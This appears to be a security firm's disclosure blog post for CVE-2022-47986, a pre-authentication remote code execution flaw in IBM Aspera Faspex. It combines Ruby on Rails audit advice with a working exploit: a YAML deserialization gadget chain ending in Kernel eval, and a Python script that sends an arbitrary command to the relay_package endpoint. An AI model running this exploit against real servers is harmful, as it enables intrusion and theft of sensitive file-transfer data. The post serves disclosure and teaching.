Case Guide for Auditing Ruby on Rails – Assetnote


Many enterprise organizations that deal with large amounts of data that needs to be shared between employees or stakeholders often use enterprise file transfer software.

In our experience, we have seen many industries adopt this type of software to quickly deliver large files. File transfer software can store extremely sensitive data and can act as a single point of failure, as if these services are breached, all of the data stored can also be obtained by the attacker.

One of the most popular solutions for transfering files quickly and “securely” is called IBM Aspera Faspex. As explained by IBM, “IBM Aspera Faspex is a file-exchange application built on IBM Aspera High-Speed Transfer Server as a centralized transfer solution. With a Web-based GUI, Faspex offers advanced management options for FASP high-speed transfer to match your organization’s workflow.”

IBM Aspera Faspex promises security to end users by offering encryption options for the files being uploaded through its application. This security model is broken through the pre-authentication RCE vulnerability we discovered, that allowed us to execute arbitrary commands on the Aspera Faspex server.

As always, customers of our Attack Surface Management platform were the first to know when this vulnerability affected them. We continue to perform original security research in an effort to inform our customers about zero-day vulnerabilities.

This vulnerability has been assigned CVE-2022-47986.

When auditing a Ruby on Rails application it is important to understand the project layout. The project layout can be split up into models, views and controllers, but due to the dynamic nature of Ruby on Rails, it can sometimes not be as predictable as other frameworks such as Flask. In this case, Aspera Faspex was using a layout such as the one seen below:

normal layout:
	app/
		views/
		controllers/
		models/
		...
	config/
	lib/
	Gemfile
	...

One of the things to check for when auditing a Ruby on Rails application, is whether or not they are shipping the software with a static SECRET_KEY_BASE value inside any of their configuration files. If this value is found in the code base that you are auditing, and it is not derived through an environment variable but rather is static, this could lead to command execution through Ruby deserialization payloads.

You can see how this was exploited in the past in GitHub Enterprise here.

Another characteristic of auditing Ruby on Rails applications is the presence of a routes file containing a list of routes and the relevant controllers that handle those routes. If you come from a world of auditing Tomcat, this is essentially the equivalent of a web.xml file.

Our methodology was to deep dive into the app/ folder and focus heavily on all of the controllers which were routable without authentication. We spent some time mapping the routes to the corresponding controllers.

When auditing any Ruby web application, there are a lot of vulnerabilities that may not be obvious unless you have previously read writeups on the sinks or have spent a lot of time programming with the language. The vulnerability we discovered in Aspera Faspex was something that either would have required researching dangerous behaviours for sinks in Ruby or previous knowledge about dangerous sinks in Ruby.

While Ruby on Rails is a complex web framework, a lot of the sinks that you will find inside Ruby on Rails projects may simply be dangerous regardless of the framework, but more to do with the Ruby programming language and libraries being used. That being said there are some specific code patterns that tend to be seen inside Ruby on Rails applications.

Below are some of the sinks you may want to look for when auditing Ruby on Rails applications:

Deserialization

  • Oj.load
  • ActiveSupport::XmlMini.parse
  • Session cookie if the SECRET_KEY_BASE is controlled, leaked or guessed
  • YAML.load

Template Injection

  • render inline: “Hello “ + params[:name]
  • ERB.new(“Hello “ + params[:name]).result(context)

SQL Injection

  • ActiveRecord based SQL Injection (https://rails-sqli.org/)

XSS

render text, html etc, in:

  • <%= @var %>
  • raw var
  • h var

We identified a call to YAML.load inside a controller that seemed to be accessible without any authentication. As mentioned earlier in this blog post, one of the deserialization sinks for Ruby is this function.

Our initial steps were to backtracing the calls (tainting) to determine whether or not we controlled the user input that flowed down to this sink.

An unsafe YAML.load inside default configurations of Ruby is quite dangerous. Through deserialization gadgets, it is possible to achieve command execution if this sink is processing user controlled data.

With this YAML.load, we are able to construct arbitrary classes. This doesn’t necessarily mean that we will always lead to RCE, but due to the dynamic nature of class instantiation through the YAML.load, it is a likely candidate towards achieving command execution.

The route was defined as such:

map.resource :package_relay, :controller => :package_relay, :only => :none,
           :member => {:relay_package => :post, :relay_access => :post}

The affected controller inside Aspera Faspex was found in the file app/controllers/package_relay_controller.rb:

 def relay_package
    begin
      ip = request.remote_ip
      host = request.remote_host
      relay = MultiServer::RelayDescriptor.new(params, ip, host)
    ...
...

We were able to trace the call for MultiServer::RelayDescriptor.new to the file lib/multi_server/relay_descriptor.rb:

module MultiServer

  class RelayDescriptor
    attr_accessor :params
    attr_accessor :package_paths, :encryption, :external_emails
    attr_reader :requesting_ip, :requesting_host


    def initialize(params_hash, requesting_ip_addr, requesting_host_addr)
      self.params = params_hash
      @requesting_ip = requesting_ip_addr.to_s
      @requesting_host = requesting_host_addr.to_s
    end

    def params=(params_hash)
      @params = params_hash
      self.class.require_required_keys(self)
      self.class.parse(self)
    end

    def self.parse(relay)
      file_list = relay.params[:package_file_list]
      relay.package_paths = file_list.collect{ |p|
        EPackagePath.new(:e_uploader_local_path => p.gsub(/\/, '/'))
      }
      enc_emails = relay.params.delete(:external_emails)
      relay.external_emails = YAML.load(enc_emails)
      relay.encryption = EConfiguration.require_ear?
    end

    def self.require_required_keys(relay)
      required_keys.each do |rkey|
        missing_rkey = relay.params[rkey].nil?
        raise InvalidRelayParameters, "missing #{rkey.to_s.inspect}" if missing_rkey
      end
    end
...

As you can see above, the params are passed from the package relay controller, reaching our YAML.load sink with our user controlled parameter external_emails.

In order to achieve the RCE, we were able to use the following base gadget:

https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html.

However, in realistic attack scenarios we found that the version of Ruby that was bundled with Aspera Faspex became a problem. This was because certain classes we would try to instantiate were not available or differed depending on the Ruby version.

Specifically, the class Gem::RequestSet was missing on a lot of Aspera Faspex installations, but we were able to overcome this through the use of PrettyPrint located in vendor/ruby/lib/ruby/1.9.1/prettyprint.rb:

class PrettyPrint
...
def breakable(sep=' ', width=sep.length)
    group = @group_stack.last
    if group.break?
      flush
      @output << @newline
      @output << @genspace.call(@indent)
      @output_width = @indent
      @buffer_width = 0
    else
      @buffer << Breakable.new(sep, width, self)
      @buffer_width += width
      break_outmost_groups
    end
  end
...

The final yaml gadget we created that was reliable across Aspera Faspex installations can be found below:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "pew"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:PrettyPrint
             output: !ruby/object:Net::WriteAdapter
                 socket: &1 !ruby/module "Kernel"
                 method_id: :eval
             newline: "throw `whoami`"
             buffer: {}
             group_stack:
              - !ruby/object:PrettyPrint::Group
                break: true
         method_id: :breakable
import requests, sys

url = "{}/aspera/faspex/package_relay/relay_package".format(sys.argv[1])

uuid = "d7cb6601-6db9-43aa-8e6b-dfb4768647ec"

exploit_yaml = """
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "pew"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:PrettyPrint
             output: !ruby/object:Net::WriteAdapter
                 socket: &1 !ruby/module "Kernel"
                 method_id: :eval
             newline: "throw `CMD`"
             buffer: {}
             group_stack:
              - !ruby/object:PrettyPrint::Group
                break: true
         method_id: :breakable
""".replace("CMD",sys.argv[2])

payload = {
	"package_file_list": [
		"/"
	],
	"external_emails": exploit_yaml,
	"package_name": "assetnote_pack",
	"package_note": "hello from assetnote team",
	"original_sender_name": "assetnote",
	"package_uuid": uuid,
	"metadata_human_readable": "Yes",
	"forward": "pew",
	"metadata_json": '{}',
	"delivery_uuid": uuid,
	"delivery_sender_name": "assetnote",
	"delivery_title": "TEST",
	"delivery_note": "TEST",
	"delete_after_download": True,
	"delete_after_download_condition": "IDK",

}

r = requests.post(url,json=payload,verify=False)
print(r.text)

The timeline for this disclosure process can be found below:

  • Oct 6th, 2022: Disclosure of the RCE vulnerability in Aspera Faspex to IBM
  • Oct 6th, 2022: IBM responded telling us that when we submit a vulnerability report to IBM we grant IBM a no charge license to all intellectual property rights unless we notify them that the rights are covered by someone else.
So that IBM may utilize your vulnerability report to determine and develop appropriate remediation procedures, by submitting a vulnerability report to IBM, you grant to IBM Corporation, its subsidiaries and its affiliates, a perpetual, irrevocable, no charge license to all intellectual property rights licensable by you in or related to the use of this material.

Also, for similar reasons, it is important that you notify us if any of this material is not your own work or is covered by the intellectual property rights of others.

Not notifying us means that you've represented that no third-party intellectual property rights are involved.
  • Oct 14th, 2022: We clarify with IBM that the research was done during employment at Assetnote and as per the employment contract all intellectual property rights belong to Assetnote.
  • Nov 5th, 2022: IBM acknowledges and accepts that intellectual property rights are owned by Assetnote.
  • Jan 15th, 2023: We request an update regarding the remediation of this vulnerability
  • Jan 18th, 2023: IBM notifies us that the vulnerability has been patched in Faspex 4.4.2 Patch Level 2.

This vulnerability can be remediated by either upgrading to Faspex 4.4.2 Patch Level 2 or Faspex 5.x which does not contain this vulnerability. See IBM’s security advisory for this issue here.



Source link